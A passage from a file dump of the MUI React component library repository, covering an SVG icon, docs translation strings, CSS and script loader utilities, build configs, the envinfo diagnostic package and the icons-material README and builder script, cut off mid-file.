    "content": "import { createSvgIcon } from '@mui/material/utils';\n\nexport default createSvgIcon(\n  <g fillRule=\"nonzero\" fill=\"none\">\n    <path\n      d=\"M6.92 6.1l2.33 7.99 2.32-8h6.3v.8l-2.37 4.14c.83.27 1.46.76 1.89 1.47.43.71.64 1.55.64 2.51 0 1.2-.31 2.2-.94 3a2.93 2.93 0 01-2.42 1.22 2.9 2.9 0 01-1.96-.72 4.25 4.25 0 01-1.23-1.96l1.31-.55c.2.5.45.9.76 1.18.32.28.69.43 1.12.43.44 0 .82-.26 1.13-.76.31-.51.47-1.12.47-1.84 0-.79-.17-1.4-.5-1.83-.38-.5-.99-.76-1.81-.76h-.64v-.78l2.24-3.92h-2.7l-.16.26-3.3 11.25h-.15l-2.4-8.14-2.41 8.14h-.16L.43 6.1H2.1l2.33 7.99L6 8.71 5.24 6.1h1.68z\"\n      fill=\"#005A9C\"\n    />\n    <g fill=\"currentColor\">\n      <path d=\"M23.52 6.25l.28 1.62-.98 1.8s-.38-.76-1.01-1.19c-.53-.35-.87-.43-1.41-.33-.7.14-1.48.93-1.82 1.9-.41 1.18-.42 1.74-.43 2.26a4.9 4.9 0 00.11 1.33s-.6-1.06-.59-2.61c0-1.1.19-2.11.72-3.1.47-.87 1.17-1.4 1.8-1.45.63-.07 1.14.23 1.53.55.42.33.83 1.07.83 1.07l.97-1.85zM23.64 15.4s-.43.75-.7 1.04c-.27.28-.76.79-1.36 1.04-.6.25-.91.3-1.5.25a3.03 3.03 0 01-1.34-.52 5.08 5.08 0 01-1.67-2.04s.24.75.39 1.07c.09.18.36.74.74 1.23a3.5 3.5 0 002.1 1.42c1.04.18 1.76-.27 1.94-.38a5.32 5.32 0 001.4-1.43c.1-.14.25-.43.25-.43l-.25-1.25z\" />\n    </g>\n  </g>,\n  'W3C',\n);\n"
  },
  {
    "path": "packages/mui-docs/src/translations/index.ts",
    "content": "import type { Translations } from '../i18n';\nimport en from './translations.json';\n\nexport default {\n  en,\n} as Record<string, Translations>;\n"
  },
  {
    "path": "packages/mui-docs/src/translations/translations.json",
    "content": "{\n  \"adblock\": \"If you don't mind tech-related ads (no tracking or remarketing), and want to keep us running, please whitelist us in your blocker.\",\n  \"adPublisher\": \"ad by {{publisher}}\",\n  \"aiCustomizeDemo\": \"Want to customize this?\",\n  \"aiChatFailed\": \"Failed to open MUI Chat\",\n  \"api-docs\": {\n    \"componentName\": \"Component name\",\n    \"componentsApi\": \"Components API\",\n    \"themeDefaultProps\": \"Theme default props\",\n    \"themeDefaultPropsDescription\": \"You can use <code>{{muiName}}</code> to change the default props of this component <a href={{defaultPropsLink}}>with the theme</a>.\",\n    \"classes\": \"CSS classes\",\n    \"classesDescription\": \"These class names are useful for styling with CSS. They are applied to the component's slots when specific states are triggered.\",\n    \"className\": \"Class name\",\n    \"cssDescription\": \"The following class names are useful for styling with CSS (the <a href=\\\"/material-ui/customization/how-to-customize/#state-classes\\\">state classes</a> are marked). <br /> To learn more, visit the <a href=\\\"/material-ui/customization/theme-components/\\\">component customization</a> page.\",\n    \"css\": \"CSS\",\n    \"cssComponent\": \"As a CSS utility, the {{name}} component also supports all <a href=\\\"/system/properties/\\\"><code>system</code></a> properties. You can use them as props directly on the component.\",\n    \"default\": \"Default\",\n    \"defaultComponent\": \"Default component\",\n    \"defaultValue\": \"Default value\",\n    \"defaultHTMLTag\": \"Default HTML tag\",\n    \"defaultDeprecationMessage\": \"This API is deprecated.\",\n    \"demos\": \"Demos\",\n    \"deprecated\": \"Deprecated\",\n    \"description\": \"Description\",\n    \"globalClass\": \"Global class\",\n    \"defaultClass\": \"Default class\",\n    \"hookName\": \"Hook name\",\n    \"hooksApi\": \"Hooks API\",\n    \"hooksNoParameters\": \"This hook does not accept any input parameters.\",\n    \"hooksPageDescription\": \"API reference docs for the {{name}} hook. Learn about the input parameters and other APIs of this exported module.\",\n    \"import\": \"Import\",\n    \"importDifference\": \"Learn about the difference by <a href=\\\"/material-ui/guides/minimizing-bundle-size/\\\">reading this guide on minimizing bundle size</a>.\",\n    \"inheritance\": \"Inheritance\",\n    \"inheritanceDescription\": \"While not explicitly documented above, the props of the <a href=\\\"{{pathname}}\\\">{{component}}</a> component{{suffix}} are also available in {{name}}. You can take advantage of this to <a href=\\\"/material-ui/guides/api/#spread\\\">target nested components</a>.\",\n    \"inheritanceSuffixTransition\": \" from react-transition-group\",\n    \"name\": \"Name\",\n    \"nativeElement\": \"native\",\n    \"overrideStyles\": \"You can override the style of the component using one of these customization options:\\n\",\n    \"overrideStylesStyledComponent\": \"<ul>\\n<li>With a <a href=\\\"/material-ui/integrations/interoperability/#global-css\\\">global class name</a>.</li>\\n<li>With a rule name as part of the component's <a href=\\\"{{styleOverridesLink}}\\\"><code>styleOverrides</code> property</a> in a custom theme.</li>\\n</ul>\",\n    \"pageDescription\": \"API reference docs for the React {{name}} component. Learn about the props, CSS, and other APIs of this exported module.\",\n    \"props\": \"Props\",\n    \"properties\": \"Properties\",\n    \"parameters\": \"Parameters\",\n    \"requires-ref\": \"This <a href=\\\"/material-ui/guides/composition/#caveat-with-refs\\\">needs to be able to hold a ref</a>.\",\n    \"returns\": \"Returns: \",\n    \"returnValue\": \"Return value\",\n    \"refNotHeld\": \"The component cannot hold a ref.\",\n    \"refRootElement\": \"The <code>ref</code> is forwarded to the root element.\",\n    \"ruleName\": \"Rule name\",\n    \"seeSourceCode\": \"If you did not find the information in this page, consider having a look at the <a href=\\\"{{href}}\\\">implementation of the component</a> for more detail.\",\n    \"signature\": \"Signature\",\n    \"slots\": \"Slots\",\n    \"spreadHint\": \"Props of the {{spreadHintElement}} component are also available.\",\n    \"state\": \"STATE\",\n    \"styleOverrides\": \"The name <code>{{componentStyles.name}}</code> can be used when providing <a href={{defaultPropsLink}}>default props</a> or <a href={{styleOverridesLink}}>style overrides</a> in the theme.\",\n    \"slotName\": \"Slot name\",\n    \"source-code\": \"Source code\",\n    \"type\": \"Type\",\n    \"required\": \"Required\",\n    \"optional\": \"Optional\",\n    \"additional-info\": {\n      \"cssApi\": \"See <a href='#classes'>CSS classes API</a> below for more details.\",\n      \"sx\": \"See the <a href='/system/getting-started/the-sx-prop/'>`sx` page</a> for more details.\",\n      \"slotsApi\": \"See <a href='#slots'>Slots API</a> below for more details.\",\n      \"joy-size\": \"To learn how to add custom sizes to the component, check out <a href='/joy-ui/customization/themed-components/#extend-sizes'>Themed components—Extend sizes</a>.\",\n      \"joy-color\": \"To learn how to add your own colors, check out <a href='/joy-ui/customization/themed-components/#extend-colors'>Themed components—Extend colors</a>.\",\n      \"joy-variant\": \"To learn how to add your own variants, check out <a href='/joy-ui/customization/themed-components/#extend-variants'>Themed components—Extend variants</a>.\"\n    }\n  },\n  \"marketingPageDescr\": \"A responsive marketing page layout with sections for product features, testimonials, pricing, and FAQs.\",\n  \"marketingPageTitle\": \"Marketing page\",\n  \"searchButton\": \"Search…\",\n  \"algoliaSearch\": \"What are you looking for?\",\n  \"appFrame\": {\n    \"changeLanguage\": \"Change language\",\n    \"github\": \"GitHub repository\",\n    \"helpToTranslate\": \"Help to translate\",\n    \"openDrawer\": \"Open main navigation\",\n    \"skipToContent\": \"Skip to content\",\n    \"toggleSettings\": \"Toggle settings drawer\"\n  },\n  \"backToTop\": \"Scroll back to top\",\n  \"backToOpenRoles\": \"Back to open roles\",\n  \"blogDescr\": \"A sleek, modern blog homepage layout with Markdown support via markdown-to-jsx.\",\n  \"blogTitle\": \"Blog\",\n  \"bundleSize\": \"Bundle size\",\n  \"bundleSizeTooltip\": \"Scroll down to 'Exports Analysis' for a more detailed report.\",\n  \"cancel\": \"Cancel\",\n  \"cdn\": \"or use a CDN.\",\n  \"checkoutDescr\": \"A sophisticated checkout flow with fully customizable steps.\",\n  \"checkoutTitle\": \"Checkout\",\n  \"clickToCopy\": \"Click to copy\",\n  \"close\": \"Close\",\n  \"codesandbox\": \"Edit in CodeSandbox\",\n  \"copied\": \"Copied\",\n  \"copiedSource\": \"The source code has been copied to your clipboard.\",\n  \"copiedSourceLink\": \"Link to the source code has been copied to your clipboard.\",\n  \"copySource\": \"Copy the source\",\n  \"copySourceLinkJS\": \"Copy link to JavaScript source\",\n  \"copySourceLinkTS\": \"Copy link to TypeScript source\",\n  \"dashboardDescr\": \"A complex data visualization dashboard featuring the MUI X Data Grid and Charts.\",\n  \"dashboardTitle\": \"Dashboard\",\n  \"decreaseSpacing\": \"decrease spacing\",\n  \"demoToolbarLabel\": \"demo source\",\n  \"demoStylingSelectSystem\": \"MUI System\",\n  \"demoStylingSelectTailwind\": \"Tailwind CSS\",\n  \"demoStylingSelectCSS\": \"Plain CSS\",\n  \"diamondSponsors\": \"Diamond sponsors\",\n  \"becomeADiamondSponsor\": \"Become a Diamond sponsor\",\n  \"diamondSponsorVacancies\": \"One spot left!\",\n  \"editorHint\": \"Press <kbd>Enter</kbd> to start editing\",\n  \"editPage\": \"Edit this page\",\n  \"emojiLove\": \"Love\",\n  \"emojiWarning\": \"Warning\",\n  \"expandAll\": \"Expand all\",\n  \"feedbackCommentLabel\": \"Comment\",\n  \"feedbackFailed\": \"Couldn't submit feedback. Please try again later.\",\n  \"feedbackMessage\": \"Was this page helpful?\",\n  \"feedbackMessageDown\": \"How can we improve this page? (optional)\",\n  \"feedbackMessageUp\": \"What did you like about this page? (optional)\",\n  \"feedbackSectionSpecific\": \"How can we improve the <strong>{{sectionName}}</strong> section? (optional)\",\n  \"feedbackMessageToGitHub\": {\n    \"usecases\": \"If something is broken or if you need a reply to a problem you've encountered, please\",\n    \"reasonWhy\": \"Otherwise, the team won't be able to answer back or ask for more information.\",\n    \"callToAction\": {\n      \"link\": \"open an issue instead.\"\n    }\n  },\n  \"feedbackNo\": \"No\",\n  \"feedbackSubmitted\": \"Feedback submitted\",\n  \"feedbackYes\": \"Yes\",\n  \"footerCompany\": \"Company\",\n  \"goToHome\": \"go to homepage\",\n  \"getProfessionalSupport\": \"Get Professional Support\",\n  \"getStarted\": \"Get Started\",\n  \"githubLabel\": \"Feedback\",\n  \"headTitle\": \"MUI: A popular React UI framework\",\n  \"hideFullSource\": \"Collapse code\",\n  \"hideSource\": \"Hide code\",\n  \"homeQuickWord\": \"A quick word from our sponsors:\",\n  \"increaseSpacing\": \"increase spacing\",\n  \"initialFocusLabel\": \"A generic container that is programmatically focused to test keyboard navigation of our components.\",\n  \"installation\": \"Installation\",\n  \"installButton\": \"Read installation docs\",\n  \"installDescr\": \"Install MUI's source files via npm. We take care of injecting the CSS needed.\",\n  \"joinThese\": \"Join these and other great organizations!\",\n  \"JS\": \"JavaScript\",\n  \"letUsKnow\": \"Let us know!\",\n  \"likeMui\": \"Help us keep running\",\n  \"loadFont\": \"Load the default Roboto font.\",\n  \"mainNavigation\": \"documentation\",\n  \"newest\": \"Newest\",\n  \"openDrawer\": \"Open documentation navigation\",\n  \"or\": \"or\",\n  \"pageTOC\": \"Page table of contents\",\n  \"praise\": \"Praise for MUI\",\n  \"praiseDescr\": \"Here's what some of our users are saying.\",\n  \"pricingDescr\": \"Quickly build an effective pricing table for your potential customers.\",\n  \"pricingTitle\": \"Pricing\",\n  \"resetDemo\": \"Reset demo\",\n  \"resetDensity\": \"Reset density\",\n  \"resetFocus\": \"Reset focus to test keyboard navigation\",\n  \"searchIcons\": {\n    \"learnMore\": \"Learn more about the import\"\n  },\n  \"seeMore\": \"See more\",\n  \"settings\": {\n    \"color\": \"Color\",\n    \"dark\": \"Dark\",\n    \"direction\": \"Direction\",\n    \"editDocsColors\": \"Edit documentation colors\",\n    \"light\": \"Light\",\n    \"ltr\": \"Left to right\",\n    \"mode\": \"Mode\",\n    \"rtl\": \"Right to left\",\n    \"settings\": \"Settings\",\n    \"system\": \"System\",\n    \"language\": \"Language\"\n  },\n  \"showFullSource\": \"Expand code\",\n  \"showJSSource\": \"Show JavaScript source\",\n  \"showSource\": \"Show code\",\n  \"showTSSource\": \"Show TypeScript source\",\n  \"signInDescr\": \"A clean and efficient sign-in page, ready for your favorite auth provider.\",\n  \"signInSideDescr\": \"A responsive, two-column sign-in page for adding content alongside the form.\",\n  \"signInSideTitle\": \"Sign-in side\",\n  \"signInTitle\": \"Sign-in\",\n  \"signUpDescr\": \"A clean and efficient sign-up page, perfect for pairing with a sign-in template.\",\n  \"signUpTitle\": \"Sign-up\",\n  \"crudDashboardTitle\": \"CRUD dashboard\",\n  \"crudDashboardDescr\": \"Dashboard with CRUD pages and mobile-friendly layout with highly customizable sidebar.\",\n  \"sourceCode\": \"Source code\",\n  \"spacingUnit\": \"Spacing unit\",\n  \"stackblitz\": \"Edit in StackBlitz\",\n  \"stars\": \"GitHub stars\",\n  \"stickyFooterDescr\": \"Attach a footer to the bottom of the viewport when page content is short.\",\n  \"stickyFooterTitle\": \"Sticky footer\",\n  \"strapline\": \"MUI provides a simple, customizable, and accessible library of React components. Follow your own design system, or start with Material Design.\",\n  \"submit\": \"Submit\",\n  \"tableOfContents\": \"Contents\",\n  \"thanks\": \"Thank you!\",\n  \"themes\": \"Premium themes\",\n  \"themesButton\": \"Browse themes\",\n  \"themesDescr\": \"Take your project to the next level with premium themes from our store – all built on MUI.\",\n  \"toggleNotifications\": \"Toggle notifications panel\",\n  \"toggleRTL\": \"Toggle right-to-left/left-to-right\",\n  \"traffic\": \"Traffic\",\n  \"TS\": \"TypeScript\",\n  \"v5IsOut\": \"🎉 v5 release candidate is out! Head to the\",\n  \"v5docsLink\": \"v5 documentation\",\n  \"v5startAdoption\": \"to get started.\",\n  \"unreadNotifications\": \"unread notifications\",\n  \"usage\": \"Usage\",\n  \"usageButton\": \"Explore the docs\",\n  \"usageDescr\": \"MUI components work without any additional setup, and don't pollute the global scope.\",\n  \"useDarkTheme\": \"Use dark theme\",\n  \"useHighDensity\": \"Apply higher density via props\",\n  \"usingMui\": \"Are you using MUI?\",\n  \"viewGitHub\": \"View the source on GitHub\",\n  \"visit\": \"Visit the website\",\n  \"whosUsing\": \"Who's using MUI?\"\n}\n"
  },
  {
    "path": "packages/mui-docs/src/useLazyCSS/index.ts",
    "content": "export { default } from './useLazyCSS';\n"
  },
  {
    "path": "packages/mui-docs/src/useLazyCSS/useLazyCSS.ts",
    "content": "import * as React from 'react';\nimport { loadCSS } from 'fg-loadcss';\n\n/**\n * Enhanced lazy CSS loader that wraps CSS in a layer using fetch to avoid CORS issues\n * @param {string} href - URL of the CSS file to load\n * @param {string} before - CSS selector to insert before\n * @param {object} options - Additional options\n * @param {string} options.layer - Optional CSS layer name to wrap the CSS in\n * @returns {() => void} cleanup function\n */\nexport default function useLazyCSS(href: string, before: string, options: { layer?: string } = {}) {\n  React.useEffect(() => {\n    // If no layer is specified, add style and clean it on unmount\n    if (!options.layer) {\n      const link = loadCSS(href, document.querySelector(before) as HTMLElement);\n      return () => {\n        link.parentElement?.removeChild(link);\n      };\n    }\n\n    // With layer option, we need to fetch the CSS content and wrap it\n    let styleElement: HTMLStyleElement | null = null;\n    const abortController = new AbortController();\n\n    // Fetch the CSS content directly to avoid CORS issues with cssRules\n    fetch(href, { signal: abortController.signal })\n      .then((response) => {\n        if (!response.ok) {\n          throw new Error(`Failed to fetch CSS: ${response.statusText}`);\n        }\n        return response.text();\n      })\n      .then((cssText) => {\n        // Create a style element with the CSS wrapped in the specified layer\n        styleElement = document.createElement('style');\n        styleElement.setAttribute('data-href', href);\n        styleElement.textContent = `@layer ${options.layer} {\\n${cssText}\\n}`;\n\n        // Insert at the specified position\n        const beforeElement = document.querySelector(before);\n        if (beforeElement?.parentNode) {\n          beforeElement.parentNode.insertBefore(styleElement, beforeElement);\n        } else {\n          document.head.appendChild(styleElement);\n        }\n      })\n      .catch((error) => {\n        // Ignore abort errors, log others\n        if (error !== 'useEffect' && error.name !== 'AbortError') {\n          if (process.env.NODE_ENV !== 'production') {\n            console.error('Error loading CSS with layer:', error);\n          }\n\n          // Fall back to regular link element if fetch fails\n          styleElement = loadCSS(href, document.querySelector(before) as HTMLElement);\n        }\n      });\n\n    // Cleanup function\n    return () => {\n      // Cancel any pending fetch\n      abortController.abort('useEffect');\n\n      // Remove the style element if it was created\n      if (styleElement && styleElement.parentElement) {\n        styleElement.parentElement.removeChild(styleElement);\n      }\n    };\n  }, [href, before, options.layer]);\n}\n"
  },
  {
    "path": "packages/mui-docs/src/utils/index.ts",
    "content": "export { default as loadScript } from './loadScript';\n"
  },
  {
    "path": "packages/mui-docs/src/utils/loadScript.ts",
    "content": "export default function loadScript(src: string, position: HTMLElement) {\n  const script = document.createElement('script');\n  script.setAttribute('async', '');\n  script.src = src;\n  position.appendChild(script);\n  return script;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/webpack/index.ts",
    "content": "/**\n * Type declarations for webpack's require.context() API.\n *\n * Usage: import '@mui/docs/webpack' in a .d.ts or at the top of a file,\n * or add to tsconfig \"types\".\n */\n\nexport interface WebpackRequireContext {\n  (req: string): string;\n  keys: () => string[];\n}\n\ndeclare global {\n  // eslint-disable-next-line @typescript-eslint/no-namespace\n  namespace NodeJS {\n    interface Require {\n      context(\n        directory: string,\n        useSubdirectories?: boolean,\n        regExp?: RegExp,\n        mode?: string,\n      ): WebpackRequireContext;\n    }\n  }\n}\n"
  },
  {
    "path": "packages/mui-docs/tsconfig.build.json",
    "content": "{\n  // This config is for emitting declarations (.d.ts) only\n  // Actual .ts source files are transpiled via babel\n  \"extends\": \"./tsconfig.json\",\n  \"compilerOptions\": {\n    \"composite\": true,\n    \"declaration\": true,\n    \"noEmit\": false,\n    \"emitDeclarationOnly\": true,\n    \"outDir\": \"build\",\n    \"rootDir\": \"./src\",\n    \"tsBuildInfoFile\": \"build/tsconfig.build.tsbuildinfo\"\n  },\n  \"include\": [\"./types.d.ts\", \"src/**/*.ts*\", \"src/**/*.json\"],\n  \"exclude\": [\"src/**/*.spec.ts*\", \"src/**/*.test.ts*\"],\n  \"references\": [\n    { \"path\": \"../mui-material/tsconfig.build.json\" },\n    { \"path\": \"../mui-material-nextjs/tsconfig.build.json\" },\n    { \"path\": \"../mui-system/tsconfig.build.json\" },\n    { \"path\": \"../mui-icons-material/tsconfig.build.json\" },\n    { \"path\": \"../mui-stylis-plugin-rtl/tsconfig.build.json\" }\n  ]\n}\n"
  },
  {
    "path": "packages/mui-docs/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"compilerOptions\": {\n    \"skipLibCheck\": true,\n    \"moduleResolution\": \"bundler\",\n    \"resolveJsonModule\": true,\n    \"types\": [\"react\", \"node\", \"csstype\", \"vitest/globals\"]\n  },\n  \"include\": [\"./types.d.ts\", \"src/**/*\", \"test/**/*\"]\n}\n"
  },
  {
    "path": "packages/mui-docs/types.d.ts",
    "content": "// In our repo, type declarations for icons are only added at build time\ndeclare module '@mui/icons-material/*' {\n  import SvgIcon from '@mui/material/SvgIcon';\n\n  export default SvgIcon;\n}\n"
  },
  {
    "path": "packages/mui-docs/vitest.config.browser.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url);\n"
  },
  {
    "path": "packages/mui-docs/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url, { jsdom: true });\n"
  },
  {
    "path": "packages/mui-envinfo/README.md",
    "content": "# @mui/envinfo\n\nPrints information about the current environment relevant to MUI packages to the console.\nPlease use this package if you report [issues to MUI](https://github.com/mui/material-ui/issues).\n\n## Usage\n\n```bash\n$ npx @mui/envinfo\n\n  System:\n    OS: Linux 5.4 Ubuntu 20.04.1 LTS (Focal Fossa)\n  Binaries:\n    Node: 12.20.0 - ~/.nvm/versions/node/v12.20.0/bin/node\n    Yarn: 1.22.4 - /usr/bin/yarn\n    npm: 6.14.8 - ~/.nvm/versions/node/v12.20.0/bin/npm\n  Browsers:\n    Chrome: 87.0.4280.66\n    Firefox: 83.0\n  npmPackages:\n    @emotion/react: ^11.0.0 => 11.1.1\n    @emotion/styled: ^11.0.0 => 11.0.0\n    @mui/codemod:  5.0.0-alpha.17\n    @mui/material:  5.0.0-alpha.18\n    @mui/docs:  5.0.0-alpha.1\n    @mui/envinfo:  2.0.0\n    @mui/icons-material:  5.0.0-alpha.15\n    @mui/lab:  5.0.0-alpha.18\n    @mui/styled-engine:  5.0.0-alpha.18\n    @mui/styled-engine-sc:  5.0.0-alpha.18\n    @mui/styles:  5.0.0-alpha.18\n    @mui/system:  5.0.0-alpha.18\n    @mui/types:  5.1.0\n    @mui/base:  5.0.0-alpha.18\n    @mui/utils:  5.0.0-alpha.18\n    @types/react: ^17.0.0 => 17.0.0\n    react: ^16.14.0 => 16.14.0\n    react-dom: ^16.14.0 => 16.14.0\n    styled-components:  5.2.1\n    typescript: ^4.0.2 => 4.0.5\n```\n"
  },
  {
    "path": "packages/mui-envinfo/package.json",
    "content": "{\n  \"name\": \"@mui/envinfo\",\n  \"version\": \"2.0.47\",\n  \"author\": \"MUI Team\",\n  \"description\": \"Logs info about the environment relevant to @mui/*.\",\n  \"bin\": \"./src/envinfo.js\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/mui-envinfo\"\n  },\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/mui/material-ui/issues\"\n  },\n  \"homepage\": \"https://github.com/mui/material-ui/tree/HEAD/packages/mui-envinfo\",\n  \"files\": [],\n  \"scripts\": {\n    \"build\": \"code-infra build --flat --bundle cjs --buildTypes false --skipBabelRuntimeCheck\"\n  },\n  \"dependencies\": {\n    \"envinfo\": \"^7.21.0\"\n  },\n  \"devDependencies\": {\n    \"@types/chai\": \"5.2.3\",\n    \"chai\": \"6.2.2\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"directory\": \"build\"\n  }\n}\n"
  },
  {
    "path": "packages/mui-envinfo/src/envinfo.js",
    "content": "#!/usr/bin/env node\nconst envinfo = require('envinfo');\n\nconst json = process.argv.includes('--json');\nenvinfo\n  .run(\n    {\n      npmPackages: `{${[\n        '@mui/*',\n        '@toolpad/*',\n        '@pigment-css/*',\n        '@base-ui/*',\n        // Peer dependencies\n        'react',\n        'react-dom',\n        // optional peer deps\n        '@emotion/react',\n        '@emotion/styled',\n        'styled-components',\n        '@types/react',\n        // auxiliary libraries\n        'typescript',\n      ].join(',')}}`,\n      Binaries: ['Node', 'npm', 'pnpm'],\n      System: ['OS'],\n      Browsers: ['Chrome', 'Firefox', 'Safari', 'Edge'],\n    },\n    {\n      // `markdown: true` uses level 2 headings. It doesn't necessarily fit our issue template\n      json,\n      duplicates: true,\n      // include transitive dependencies and important packages that are transitive dependencies (for example `jsdom` is usually a transitive dependency inside jest)\n      fullTree: true,\n      showNotFound: true,\n    },\n  )\n  .then((output) => {\n    // eslint-disable-next-line no-console\n    console.log(output);\n  });\n"
  },
  {
    "path": "packages/mui-envinfo/src/envinfo.test.js",
    "content": "import { isJsdom } from '@mui/internal-test-utils/env';\n\nconst { execFileSync } = require('child_process');\nconst path = require('path');\nconst { expect } = require('chai');\n\ndescribe('@mui/envinfo', () => {\n  const packagePath = __dirname;\n  const testProjectPath = path.resolve(path.dirname(packagePath), 'test');\n\n  function execEnvinfo(args) {\n    const envinfoPath = path.resolve(packagePath, 'envinfo.js');\n    return execFileSync('node', [envinfoPath, ...args], {\n      encoding: 'utf8',\n      stdio: 'pipe',\n      cwd: testProjectPath,\n    });\n  }\n\n  it.skipIf(!isJsdom())('includes info about the environment relevant to MUI', function test() {\n    const envinfoJSON = execEnvinfo(['--json']);\n\n    const envinfo = JSON.parse(envinfoJSON);\n\n    // chai doesn't have expect.any(String) like jest so we have to use what's available\n    // We basically want to test like https://github.com/eps1lon/testing-library-envinfo/blob/2543092f4e4af02d79e306ec6546a9c12b258675/index.test.js#L20-L68\n    // The specific versions change over time so we can't use snapshots.\n    expect(envinfo).to.have.nested.property('Binaries.Node');\n    expect(envinfo).to.have.nested.property('Binaries.pnpm');\n    expect(envinfo).to.have.nested.property('Binaries.npm');\n    // CI doesn't install all the covered browsers. Simply asserting that it does print browsers.\n    expect(envinfo).to.have.nested.property('Browsers');\n    // Non-exhaustive list of `@mui/*` packages\n    expect(envinfo).to.have.nested.property('npmPackages.@mui/material');\n    expect(envinfo).to.have.nested.property('npmPackages.@mui/joy');\n    expect(envinfo).to.have.nested.property('npmPackages.@mui/base');\n    // Other libraries\n    expect(envinfo).to.have.nested.property('npmPackages.react');\n    expect(envinfo).to.have.nested.property('npmPackages.react-dom');\n    expect(envinfo).to.have.nested.property('npmPackages.@types/react');\n    expect(envinfo).to.have.nested.property('npmPackages.@emotion/react');\n    expect(envinfo).to.have.nested.property('npmPackages.@emotion/styled');\n  });\n});\n"
  },
  {
    "path": "packages/mui-envinfo/test/package.json",
    "content": "{\n  \"name\": \"envinfo-test-project\",\n  \"private\": true,\n  \"dependencies\": {\n    \"@emotion/react\": \"^11.14.0\",\n    \"@emotion/styled\": \"^11.14.1\",\n    \"@mui/base\": \"5.0.0-beta.30\",\n    \"@mui/joy\": \"5.0.0-beta.22\",\n    \"@mui/material\": \"5.15.4\",\n    \"react\": \"^19.2.4\",\n    \"react-dom\": \"^19.2.4\"\n  },\n  \"devDependencies\": {\n    \"@types/react\": \"19.2.14\"\n  }\n}\n"
  },
  {
    "path": "packages/mui-envinfo/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url, { jsdom: true });\n"
  },
  {
    "path": "packages/mui-icons-material/README.md",
    "content": "# @mui/icons-material\n\n<!-- #host-reference -->\n\nThis package contains Google's [Material Icons](https://fonts.google.com/icons?icon.set=Material+Icons) converted to Material UI [SVG Icon](https://next.mui.com/material-ui/icons/#svgicon) components.\n\n> Google also offers [Material Symbols](https://fonts.google.com/icons?icon.set=Material+Symbols) as the successor of Material Icons. `@mui/icons-material` only covers Icons at this time, there are no support for Symbols yet.\n\n## Installation\n\nThe Material Icons package depends on Material UI—install both with the following command:\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpm install @mui/icons-material@next @mui/material@next @emotion/styled @emotion/react\n```\n\n## Documentation\n\n<!-- #host-reference -->\n\n- Learn more about Material UI's [SVG Icon component](https://next.mui.com/material-ui/icons/#svgicon).\n- Browse the available icons on the [Material Icons page](https://next.mui.com/material-ui/material-icons/).\n\n## Contributing\n\nThe Icons package is updated via a script that reads through Google's Material Icons set and extracts the SVG elements from there. Because of this, we don't accept new icons that diverge from the source.\n\nTo update the `@mui/icons-material` package with the latest Material Icons set, run the following commands:\n\n1. In the \"mui-icons-material\" directory, run `pnpm src:download`\n2. In the \"mui-icons-material\" directory, run `pnpm src:icons`\n3. In the root of the Material UI repo, run `pnpm docs:mdicons:synonyms`\n4. If the number of icons changes significantly, edit the icons/icons.md and material-icons/material-icons.md under docs/data/material/components and update the numbers.\n\nThis process is performed by the maintainers on a quarterly basis.\n"
  },
  {
    "path": "packages/mui-icons-material/builder.md",
    "content": "# @mui/icons-material-builder\n\nThis tool generates Material UI SvgIcon components for a set of svg icons.\n\n## Running the build\n\nThe build script downloads and builds the Material Design Icons.\n\n```bash\npnpm install\npnpm build\ncd build\npnpm publish\n```\n\n## Generated folders\n\nThe build script downloads Material Design SVG icons to the `material-icons` folder,\ngenerates the appropriate `.js` files in the `build` folder, and creates a `package.json`.\n\n## Advanced usage and Custom builds\n\n`node build.js --help` can be used to display the options available for building.\n\nYou can build your own SVG icons as well as collections like [game-icons](https://game-icons.net/)\nthrough command line options.\n\n- `--output-dir` - Directory to output generated components.\n- `--svg-dir` - Directory containing the source SVG icons.\n- `--inner-path` - \"Reach into\" subdirs, since libraries like material-design-icons\n  use arbitrary build directories to organize icons, for example \"action/svg/production/\".\n- `--file-suffix` - Process only files ending with the specified suffix/\n- `--rename-filter` - Apply a custom filter to rename the generated icons.\n  The default and Material Design filters can be found in `filters/rename`.\n\nIf you experience any issues building icons or would like a feature added,\n[file an issue](https://github.com/mui/material-ui/issues) and let us\nknow.\n"
  },
  {
    "path": "packages/mui-icons-material/builder.mjs",
    "content": "import path from 'path';\nimport fs from 'node:fs/promises';\nimport yargs from 'yargs';\nimport { rimrafSync } from 'rimraf';\nimport Mustache from 'mustache';\nimport globAsync from 'fast-glob';\nimport * as svgo from 'svgo';\nimport { fileURLToPath } from 'url';\nimport { intersection } from 'es-toolkit/array';\nimport { Queue } from '@mui/internal-waterfall';\nimport { hideBin } from 'yargs/helpers';\n\nconst currentDirectory = path.dirname(fileURLToPath(new URL(import.meta.url)));\n\nexport const RENAME_FILTER_DEFAULT = './renameFilters/default.mjs';\nexport const RENAME_FILTER_MUI = './renameFilters/material-design-icons.mjs';\n\n/**\n * Converts directory separators to slashes, so the path can be used in fast-glob.\n * @param {string} pathToNormalize\n * @returns\n */\nfunction normalizePath(pathToNormalize) {\n  return pathToNormalize.replace(/\\\\/g, '/');\n}\n\n/**\n * Return Pascal-Cased component name.\n * @param {string} destPath\n * @returns {string} class name\n */\nexport function getComponentName(destPath) {\n  const splitregex = new RegExp(`[\\\\${path.sep}-]+`);\n\n  const parts = destPath\n    .replace('.js', '')\n    .split(splitregex)\n    .map((part) => part.charAt(0).toUpperCase() + part.substring(1));\n\n  return parts.join('');\n}\n\nasync function generateIndex(options) {\n  const files = await globAsync(normalizePath(path.join(options.outputDir, '*.js')));\n  const index = files\n    .map((file) => {\n      const typename = path.basename(file).replace('.js', '');\n      return `export { default as ${typename} } from './${typename}';\\n`;\n    })\n    .sort()\n    .join('');\n\n  await fs.writeFile(path.join(options.outputDir, 